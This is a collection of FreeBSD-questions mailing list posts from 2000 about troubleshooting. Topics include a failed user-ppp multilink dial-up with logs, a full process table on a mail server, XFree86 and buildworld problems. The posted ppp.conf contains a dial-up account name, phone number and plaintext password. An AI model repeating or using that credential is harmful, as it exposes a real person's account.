Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set timeout
600
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set ifaddr
10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: add default
HISADDR
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: enable dns
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: nat enable yes
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: link deflink
clone 1 2
Oct 27 11:49:44 brittany ppp[228]: tun0: Phase: 1: Cloned in closed state
Oct 27 11:49:44 brittany ppp[228]: tun0: Phase: 2: Cloned in closed state
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: link deflink
remove
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: link * set
mode auto
Oct 27 11:49:44 brittany ppp[229]: tun0: Phase: PPP Started (auto mode).

This to me looks like the auto mode was set up correctly at least to the
point of dialing.

Here's what happened when I tried to open an ftp connection to the outside:

Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: bundle: Establish
Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: 1: closed -> opening
Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: 1: Connected!
Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: 1: opening -> dial
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Phone: 326-5625
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: 1: Dial attempt 1 of 1
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Send: AT^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Expect(5): OK
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Received: ^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Received: OK^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Send: ATE1Q0^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Expect(5): OK
Oct 27 11:49:54 brittany ppp[229]: tun0: Chat: Received: ^M
Oct 27 11:49:54 brittany ppp[229]: tun0: Chat: Received: OK^M
Oct 27 11:49:54 brittany ppp[229]: tun0: Chat: Send: ATDT326-5625^M
Oct 27 11:49:56 brittany ppp[229]: tun0: Chat: Expect(40): CONNECT
Oct 27 11:50:26 brittany ppp[229]: tun0: Chat: Received: ATDT326-5625^M^M
Oct 27 11:50:26 brittany ppp[229]: tun0: Chat: Received: CONNECT 31200^M
Oct 27 11:50:26 brittany ppp[229]: tun0: Phase: 1: dial -> carrier
Oct 27 11:50:27 brittany ppp[229]: tun0: Phase: 1: /dev/cuaa0: CD detected
Oct 27 11:50:27 brittany ppp[229]: tun0: Phase: 1: carrier -> login
Oct 27 11:50:27 brittany ppp[229]: tun0: Phase: 1: login -> lcp
Oct 27 11:50:27 brittany ppp[229]: tun0: LCP: FSM: Using "1" as a transport
Oct 27 11:50:27 brittany ppp[229]: tun0: LCP: 1: State change Initial -->
Closed
Oct 27 11:50:27 brittany ppp[229]: tun0: LCP: 1: State change Closed -->
Stopped
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: LayerStart
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendConfigReq(1) state =
Stopped
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  PROTOCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x00000000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1500
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x8dfb2a46
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1500
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: State change Stopped -->
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: RecvConfigReq(1) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x000a0000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x2c391edd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ENDDISC[9] MAC
00:80:d3:8b:1b:00
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  LDBACP[4] 847a
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendConfigRej(1) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  LDBACP[4] 847a
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: Sending ident magic 8dfb2a46
text
user-ppp 2.27 (built Sep 25 2000)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendIdent(0) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: RecvConfigAck(1) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: State change Req-Sent -->
Ack-Rcvd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: RecvConfigReq(2) state =
Ack-Rcvd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x000a0000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x2c391edd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ENDDISC[9] MAC
00:80:d3:8b:1b:00
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendConfigAck(2) state =
Ack-Rcvd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x000a0000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x2c391edd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ENDDISC[9] MAC
00:80:d3:8b:1b:00
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: State change Ack-Rcvd -->
Opened
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: LayerUp
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: Sending ident magic 8dfb2a46
text user-ppp 2.27 (built Sep 25 2000)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendIdent(1) state = Opened
Oct 27 11:50:28 brittany ppp[229]: tun0: Phase: bundle: Authenticate
Oct 27 11:50:28 brittany ppp[229]: tun0: Phase: 1: his = PAP, mine = none
Oct 27 11:50:28 brittany ppp[229]: tun0: Phase: Pap Output: avalon ********
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Pap Output: avalon ********

It looks like here is where the trouble starts:

Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Pap Input: SUCCESS dropped
(got id 1, not 2)
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:35 brittany ppp[229]: tun0: Phase: Pap Output: avalon ********
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Auth: No response from
server
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: LayerDown
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendTerminateReq(2) state =
Opened
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: State change Opened -->
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: RecvTerminateAck(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: LayerFinish
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: State change Closing -->
Closed
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: State change Closed -->
Initial
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: Disconnected!
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: lcp -> logout
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: logout -> hangup
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: Disconnected!
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: Connect time: 45 secs:
979 octets in, 1620 octets out
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: : 20 packets in, 25
packets out
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase:  total 57 bytes/sec, peak
308 bytes/sec on Fri Oct 27 11:50:38 2000

This is ppp.conf

#################################################################
# PPP  Sample Configuration File
# Originally written by Toshiharu OHNO
# Simplified 5/14/1999 by wself@cdrom.com
#
# See /usr/share/examples/ppp/ for some examples
#
# $FreeBSD: src/etc/ppp/ppp.conf,v 1.2.2.1 2000/08/18 08:33:02 jhb Exp $
#################################################################

default:
 ident user-ppp VERSION (built COMPILATIONDATE)

 # Ensure that "device" references the correct serial port
 # for your modem. (cuaa0 = COM1, cuaa1 = COM2)
 set device /dev/cuaa0 /dev/cuaa1

 set log Phase Chat LCP IPCP CCP tun command
 set speed 115200
 set dial "ABORT BUSY ABORT NO\\sCARRIER ABORT NO\\sDIALTONE TIMEOUT 5 \
           \"\" AT OK-AT-OK ATE1Q0 OK \\dATDT\\T TIMEOUT 40 CONNECT"

fisi_multi_auto:
 load fisi_auth
 load multi_auto

fisi_auth:
 set phone 326-5625
 set authname avalon
 set authkey tflaa09

# If you want to use PAP or CHAP instead of using a unix-style login
# procedure, do the following.  Note, the peer suggests whether we
# should send PAP or CHAP.  By default, we send whatever we're asked for.
#
multi_auto:
 # Reconnect after loss of carrier, with 10 second delays between each
attempt:
 set reconnect 10 0

 # To enable multilink capabilities, you must specify a MRRU.  1500 is
 # a reasonable value.  To create new links, use the ``clone'' command
 # to duplicate an existing link.  If you already have more than one
 # link, you must specify which link you wish to run the command on via
 # the ``link'' command.
 set mrru 1500
 set mru 1504               # Room for the MP header

# set login "ABORT NO\\sCARRIER TIMEOUT 5 ogin:--ogin: avalon word: \\P"
 set login
 set timeout 600			# 10 minute idle timer
 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
 add default HISADDR
 enable dns
 nat enable yes

 # All the examples clone links '1' and '2', and remove 'deflink';
 # I don't know why deflink can't be used.
 link deflink clone 1 2
 link deflink remove
 link * set mode auto

--
What if there were no hypothetical questions?
===============================================
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Has anyone managed to get the Linux versions of either Matlab or Maple to work?
 I have gotten a little ways, but Maple seems to yack when it starts it's lks
program.  I haven't even gotten through a successful install with Matlab
because it keeps looking for some directories that it can't find.

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Hie,

I have a problem with my machine. It is running FreeBSD 4.0 and is basically
running two major services - SMTP and POP3. It runs Sendmail and
Qpopper3.0.2. It's bringing me a table full error and everything is going
crazy when it does that. How can I increase the size of this proc table?

And also, when the machine gets this table full error, all the other
machines on the network go crazy as well. I cannot browse any web sites
(gives error 800c0008) and the mail clients give errors 0x800cc0f for POP3
and 0x800ccc0e for SMTP. The mail server has 64MB RAM. My DNS runs on Win NT
(MS DNS Server) and has 160MB RAM. I am suspecting either the DNS or
Sendmail to be causing my problem, and I would like to know where to start
to look. Or is it maybe a network hardware problem? Or virus?

Here is my dmesg for the mail server.

Copyright (c) 1982, 1986, 1989, 1991, 1993
        The Regents of the University of California. All rights reserved.
FreeBSD 4.0-RELEASE #0: Thu Nov  2 19:10:17 CAT 2000
    root@malawi.net:/usr/src/sys/compile/MX2
Timecounter "i8254"  frequency 1193182 Hz
CPU: Pentium II/Pentium II Xeon/Celeron (348.49-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x652  Stepping = 2

Features=0x183f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,
PA
T,PSE36,MMX,FXSR>
real memory  = 100663296 (98304K bytes)
config> en ed0
config> po ed0 0x280
config> ir ed0 3
config> iom ed0 0xd8000
config> f ed0 0
config> q
avail memory = 93540352 (91348K bytes)
Preloaded elf kernel "kernel" at 0xc03c3000.
Preloaded userconfig_script "/boot/kernel.conf" at 0xc03c309c.
Pentium Pro MTRR support enabled
md0: Malloc disk
npx0: <math processor> on motherboard
pcib0: <Intel 82443BX (440 BX) host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib1: <Intel 82443BX (440 BX) PCI-PCI (AGP) bridge> at device 1.0 on pci0
pci1: <PCI bus> on pcib1
pci0: <Cirrus Logic GD5434 SVGA controller> at 13.0
ed0: <NE2000 PCI Ethernet (RealTek 8029)> port 0x1040-0x105f irq 11 at
device 16
.0 on pci0
ed0: supplying EUI64: 00:c0:df:ff:fe:f1:79:1c
ed0: address 00:c0:df:f1:79:1c, type NE2000 (16 bit)
isab0: <Intel 82371AB PCI to ISA bridge> at device 20.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel PIIX4 ATA33 controller> port 0x1020-0x102f at device 20.1 on
pci
0
ata0: at 0x1f0 irq 14 on atapci0
pci0: <Intel 82371AB/EB (PIIX4) USB controller> at 20.2 irq 11
chip1: <Intel 82371AB Power management controller> port 0xfc00-0xfc0f at
device
20.3 on pci0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
sc0: <System console> on isa0
sc0: VGA <16 virtual consoles, flags=0x200>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
ppc0: FIFO with 16/16/8 bytes threshold
ppi0: <Parallel I/O> on ppbus0
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
plip0: <PLIP network interface> on ppbus0
ad0: 4112MB <ST34323A> [8912/15/63] at ata0-master using UDMA33
ad1: 12949MB <Maxtor 91366U4> [26310/16/63] at ata0-slave using UDMA33
Mounting root from ufs:/dev/ad1s1a
WARNING: / was not properly dismounted
ed0: starting DAD for fe80:0001::02c0:dfff:fef1:791c
ed0: DAD complete for fe80:0001::02c0:dfff:fef1:791c - no duplicates found
arp: 208.148.169.47 moved from 00:c0:7b:6d:68:10 to 00:c0:7b:6c:dd:aa on ed0
proc: table is full
proc: table is full

Please assist,

Kondie.




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On Thu, 02 Nov 2000 23:01:32 -0500  celacunza@netscape.net wrote:
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 | 
 | a block size of less than 2048 bytes gives me the same problem,
 | but cat works fine, and so does dd with a bs of 2kB or more.
 | 
 | looks like a bug, if you ask me.
 +------------------

That got me past the problem! Great insight.

:-)
chris

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> -----Original Message-----
> From: Jeffrey Vehrs [mailto:jwvehrs@netzero.net]

> Well, how big is ur hd? From my experience with W2K & FBSD on
> TP600 w/ 4Gb hd,

Sorry, Jeffrey, an essential piece of information was lacking.  The hard
disk is 12 Gb.

> 1.5Gb for W2K & 2.5 for FBSD. I used "Auto Defaults for all!" in Disklabel
> Editor. Anyway, I'd allow at least 2Gb for W2K if you have 6Gb or more hd.
> Really, it's totally up to you on how much you plan to use OS.

My question really addressed the problem of getting the whole of / and the
Windows boot partition within the limits set for each operating system,
which, I seem to remember involved 1023 cylinders.

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a did:
make buildworld
and then somewhen i got the the error
cc internal error got signal 4 (or something like that)
Then i wanted to compile the directories on it's own - and for example in the
directory i got the error everythind worked - but i got other errors (in other
directories...) (for example missing des.h file - and i tried to install that but it
didn't work neither...)
So I decided to wait for 4.2 RELEASE and reinstall the system...

Sperber
Jeffrey Vehrs wrote:

> Ahh. You could have ask any of us to help you with upgrading 4.1 to 4.1.1
> problem. So, what happened? As you said that you already have cvsup/update your
> source and then what did you do next?
>
> -- jwv
>
> On Thu, Nov 02, 2000 at 09:52:53PM +0000, Sperber wrote:
> > jwvehrs@netzero.net wrote:
> >
> > > Why are you so anxious about 4.2-RELEASE? 4.1.1-RELEASE is very good and you
> > > can always cvsup up to 4.2. Don't you wanna to know about 10.0-RELEASE? *grin*
> > >
> > > -- jwv
> > >
> >
> > well, i think because i tried to cvsup from 4.1 to 4.1.1 but it didn't work - so
> > i'll set up my system again.
> > First I wanted to set up 4.1.1 but then heard about 4.2 and decided to wait...
> >
> > Sperber
> >
> > >
> > > On Thu, Nov 02, 2000 at 11:01:56AM +0100, Sperber / Anakha wrote:
> > > > hi
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> > > > when will fbsd 4.2 release available on ftp servers?
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> > > > thx sperber
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Mike Meyer wrote:
> 
> Ras-Sol <ras-sol@usa.net> types:
> > > Thus spake Prawit Namutawong (PrawitN@usa.tokyopop.com):
> > Ok, not dissing anyone here (since we all start somewhere)
> > But is there a FreeBSD list where somewhat more technical problems are
> > discussed?
> > I can only handle "it drops me in to a root shell in single-user mode" and
> > "does FreeBSD run in windows?" so many times...
> 
> Well, some of those belong on -newbies

	-newbies is a discussion group, it's not for questions. All basic
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On Fri, Nov 03, 2000 at 03:23:36PM +0800, lihui wrote:
> Hello:
>     ApacheJserv,jdk,jsdk and gnujsp are need to run jsp on apache,but where should I find ApacheJserv and jsdk for freeBSD from ? Please tell me,thank you very much!
/usr/ports/java and /usr/ports/www

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This is new - to me - since I installed 4.1.

Suddenly man displays bytes displayed instead of per cent displayed.  I
can't find a switch in man man and I can't find references to this in the
mailing list - probably wrong choice of search parameters.

Can someone help please?

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On Fri, Nov 03, 2000 at 12:18:31AM -0600, Dan Nelson wrote:
> BTW: FreeBSD currently has a (rather small) SCSI I/O limit of 64K, so
> your 1MB write will be split up into 16 64K blocks on tape.

Well, that was just an experiment to see if it would go any faster anyhow,
since tar's default of 10K seems rather small.

It's working now, thanks...

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Heya Kenneth,

Thanks very much for the kind reply! I checked out xfree86.org/cvs and I
downloaded the `xc' repository. I followed the instructions in INSTALL.TXT.
When I try to make it, it fails, with the following messages:

   including in lib/GLw...
   make: don't know how to make /main/gfx/lib/glw/GLwDrawA.h. Stop
   *** Error code 2

I guess that file is missing. I tried another cvs update -d, but no luck. I'm
now following a different lead, provided by Pete Young. He writes:

> Support for the Geforce 2 has not been included with the latest release of
> XFree86 yet but it has been added to the CVS repository.
> 
> I used the FreeBSD port system to build it.  Here are the steps that worked.
> 
>         cd /usr/ports/x11/XFree86-4
>         make patch
> 
> I then copied these files from the XFree86 anoncvs repository to the same
> directories under /usr/ports/x11/XFree86-4/work/
> 
>         xc/programs/Xserver/hw/xfree86/common/xf86PciInfo.h
>         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_driver.c
>         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_include.h
>         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_local.h
>         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_type.h
>         xc/programs/Xserver/hw/xfree86/drivers/nv/riva_tbl.h
>         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_xaa.c
> 
> Edit nv_include.h and remove the line   #include "vbe.h"  .  Finish
> with
> 
>         cd /usr/ports/x11/XFree86-4
>         make install
>         XFree86 -configure

I'll let you know what the result is. Thanks again!

_
O o
 |    Ernst
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Kenneth Wayne Culver wrote:
> Yeah, I'm using it no problem with Xfree86 4.0.1c (cvs version... kinda
> like a -CURRENT for XFree86) and it works perfectly... except if u switch
> virtual terminals... then when u switch back to the X VT the mouse won't
> move.
> 
> 
> =================================================================
> | Kenneth Culver              | FreeBSD: The best NT upgrade    |
> | Unix Systems Administrator  | ICQ #: 24767726                 |
> | and student at The          | AIM: muythaibxr                 |
> | The University of Maryland, | Website: (Under Construction)   |
> | College Park.	              | http://www.wam.umd.edu/~culverk/|
> =================================================================
> 
> On Thu, 2 Nov 2000, Ernst de Haan wrote:
> 
> > Hi,
> > 
> > After the problems I head with my upgrade from XFree86 3.3.6 to 4.0.1 (using
> > the port, on an NVidia TNT card) I cvsupdated my sources, made world,
> > recompiled and -installed kernel, etc. No luck. Recompiled the port, no luck.
> > So I tried running it with an NVidia TNT2 card. No luck.
> > 
> > At the moment, I exchanged the TNT2 card for a GeForce 2 MX, and I downloaded
> > a binary distro from xfree86.org. Guess what? The Geforce 2 isn't supported
> > yet :-/
> > 
> > Does any1 have experience with using a GeForce 2 (MX) card with XFree86 ?
> > 
> > --
> > Ernst
> > 
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On 01-Nov-00 8773836928@skytel.com wrote:
> Hello,
> 
> I have been editing some 
> Perl scripts in vi recently,
> and I find it very annoying
> that Perl cannot comment
> blocks of code, only lines.
> 

localhost.dread$ perldoc -q comment 
<snip>

=head2 How can I comment out a large block of perl code?

Use embedded POD to discard it:

    # program is here

    =for nobody
    This paragraph is commented out

    # program continues

    =begin comment text

    all of this stuff

    here will be ignored
    by everyone

    =end comment text

    =cut

This can't go just anywhere.  You have to put a pod directive where
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of an expression or some other arbitrary yacc grammar production.


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> account. Thanks again.
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No doubt, looks like a pager ... 
no jpegs ? pity.

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Anthony Rubin wrote:
> 
> I am interested in setting up a central box that will make buildworld on a
> regular basis that I will be able to use to upgrade other boxes.  I would
> like to store /usr/src and /usr/obj on our NetApp and NFS mount them on the
> box that does the make buildworld and any boxes that I want to upgrade.  Are
> there any other directories that I need to keep on the NetApp in order for
> this to work? 

	No, /usr/src and /usr/obj are all you need. 

> Any other comments or suggestions?

	Your performance on the buildworld will suffer because writes over NFS
are much slower than reads. You should consider doing the build on your
freebsd machine and nfs exporting form there. If this isn't feasible,
your plan will work anyways, it'll just be slower building. 

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Hi,

Your comments on the subject was really helpful... i
removed some of the unwanted files...and the core
files...and now.. no more "write to file fail". Thnx!

Yes.. i am running startx , netscape, yahoo messenger
under root. I tried logging in to X as a user... but i
dont seem to get the GUI as i get when i am a root. No
applications available other than the konsole. What
can i do to get the same GUI as I get when i am
root???

Kalai

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* satkal79@yahoo.com <satkal79@yahoo.com> [20001103 14:02]:
=>Hi,
=>
=>Your comments on the subject was really helpful... i
=>removed some of the unwanted files...and the core
=>files...and now.. no more "write to file fail". Thnx!
=>
=>Yes.. i am running startx , netscape, yahoo messenger
=>under root. I tried logging in to X as a user... but i
=>dont seem to get the GUI as i get when i am a root. No
=>applications available other than the konsole. What
=>can i do to get the same GUI as I get when i am
=>root???
=>
=>Kalai

Sorry pal but I've learnt from this list that it is unwise to run X as
root. You've now learnt that too.
Now my way of running X is to login as another user (other than root) and
run xf86config - answer all questions and have the config file created.
Then for me because I use enlightenment, all I do again is to run
enlightenment.install and the next time I start X enlightenment load as
my GUI.

I've also tried to run afterstep but kind of I had to link the file
/usr/X11R6/bin/enlightenment -->afterstep (in the bin directory)

Others may have different views.

HTH

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* Kondie <kondwani@malawi.net> [20001103 09:58]:
=>Hie,

Please take a look at the man page for sysctl

The problem could be elsewhere if sendmail is properly configured. I am
sure it has nothing to do with DNS.
The other time I has a similar message I was advised to increase maxusers
in the kernel file and I think it did the trick. You could try that and
recompile the kernel.

you could also try, as root, sysctl -w kern.maxprocperuid=N (where N is a
number twice what it is now) and you find that out by sysctl
kern.maxprocperuid

There may be other views though...

=>
=>I have a problem with my machine. It is running FreeBSD 4.0 and is basically
=>running two major services - SMTP and POP3. It runs Sendmail and
=>Qpopper3.0.2. It's bringing me a table full error and everything is going
=>crazy when it does that. How can I increase the size of this proc table?
=>
=>And also, when the machine gets this table full error, all the other
=>machines on the network go crazy as well. I cannot browse any web sites
=>(gives error 800c0008) and the mail clients give errors 0x800cc0f for POP3
=>and 0x800ccc0e for SMTP. The mail server has 64MB RAM. My DNS runs on Win NT
=>(MS DNS Server) and has 160MB RAM. I am suspecting either the DNS or
=>Sendmail to be causing my problem, and I would like to know where to start
=>to look. Or is it maybe a network hardware problem? Or virus?
=>
=>Here is my dmesg for the mail server.
=>
=>Copyright (c) 1982, 1986, 1989, 1991, 1993
=>        The Regents of the University of California. All rights reserved.
=>FreeBSD 4.0-RELEASE #0: Thu Nov  2 19:10:17 CAT 2000
=>    root@malawi.net:/usr/src/sys/compile/MX2
=>Timecounter "i8254"  frequency 1193182 Hz
=>CPU: Pentium II/Pentium II Xeon/Celeron (348.49-MHz 686-class CPU)
=>  Origin = "GenuineIntel"  Id = 0x652  Stepping = 2
=>
=>Features=0x183f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,
=>PA
=>T,PSE36,MMX,FXSR>
=>real memory  = 100663296 (98304K bytes)
=>config> en ed0
=>config> po ed0 0x280
=>config> ir ed0 3
=>config> iom ed0 0xd8000
=>config> f ed0 0
=>config> q
=>avail memory = 93540352 (91348K bytes)
=>Preloaded elf kernel "kernel" at 0xc03c3000.
=>Preloaded userconfig_script "/boot/kernel.conf" at 0xc03c309c.
=>Pentium Pro MTRR support enabled
=>md0: Malloc disk
=>npx0: <math processor> on motherboard
=>pcib0: <Intel 82443BX (440 BX) host to PCI bridge> on motherboard
=>pci0: <PCI bus> on pcib0
=>pcib1: <Intel 82443BX (440 BX) PCI-PCI (AGP) bridge> at device 1.0 on pci0
=>pci1: <PCI bus> on pcib1
=>pci0: <Cirrus Logic GD5434 SVGA controller> at 13.0
